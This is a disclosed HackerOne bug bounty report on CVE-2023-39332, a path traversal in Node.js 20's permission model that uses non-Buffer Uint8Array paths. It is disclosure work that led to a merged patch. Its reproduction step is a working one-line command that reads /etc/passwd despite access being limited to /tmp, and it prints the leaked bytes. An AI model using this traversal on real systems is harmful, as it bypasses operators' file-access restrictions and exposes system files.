HexBrain

Internet Bug Bounty · Report #2256167

Path traversal through path stored in Uint8Array in Node.js 20

Validstatus
highseverity
$3,495bounty
44upvotes
20 Jan 2024disclosed

Summary

Path traversal through path stored in Uint8Array (High) - (CVE-2023-39332)

Full Security Advisory: https://nodejs.org/en/blog/vulnerability/october-2023-security-releases

How it was found

Various node:fs functions allow specifying paths as either strings or Uint8Array objects. In Node.js environments, the Buffer class extends the Uint8Array class. Node.js prevents path traversal through strings (see CVE-2023-30584) and Buffer objects (see CVE-2023-32004), but not through non-Buffer Uint8Array objects.

This is distinct from CVE-2023-32004 (report 2038134), which only referred to Buffer objects. However, the vulnerability follows the same pattern using Uint8Array instead of Buffer.

Steps To Reproduce:

The following Node.js command prints the contents of /etc/passwd despite having been granted access to /tmp only. This relies on the fact that TextDecoder produces Uint8Array objects that are not Buffer objects.

$ node --experimental-permission \
        --allow-fs-read=/tmp/ \
        -p 'fs.readFileSync(new TextEncoder().encode("/tmp/../etc/passwd"))'
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 6e 6f 62 6f 64 79 3a 78 3a 36 35 35 33 34 3a 36 35 35 33 34 3a 4e ... 2103 more bytes>

Supporting Material/References:

Patch

I provided a patch, which was merged into Node.js 20 as commit fa5dae1944.

Impact

Equivalent to CVE-2023-30584 (report 1952978) and CVE-2023-32004 (report 2038134).

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original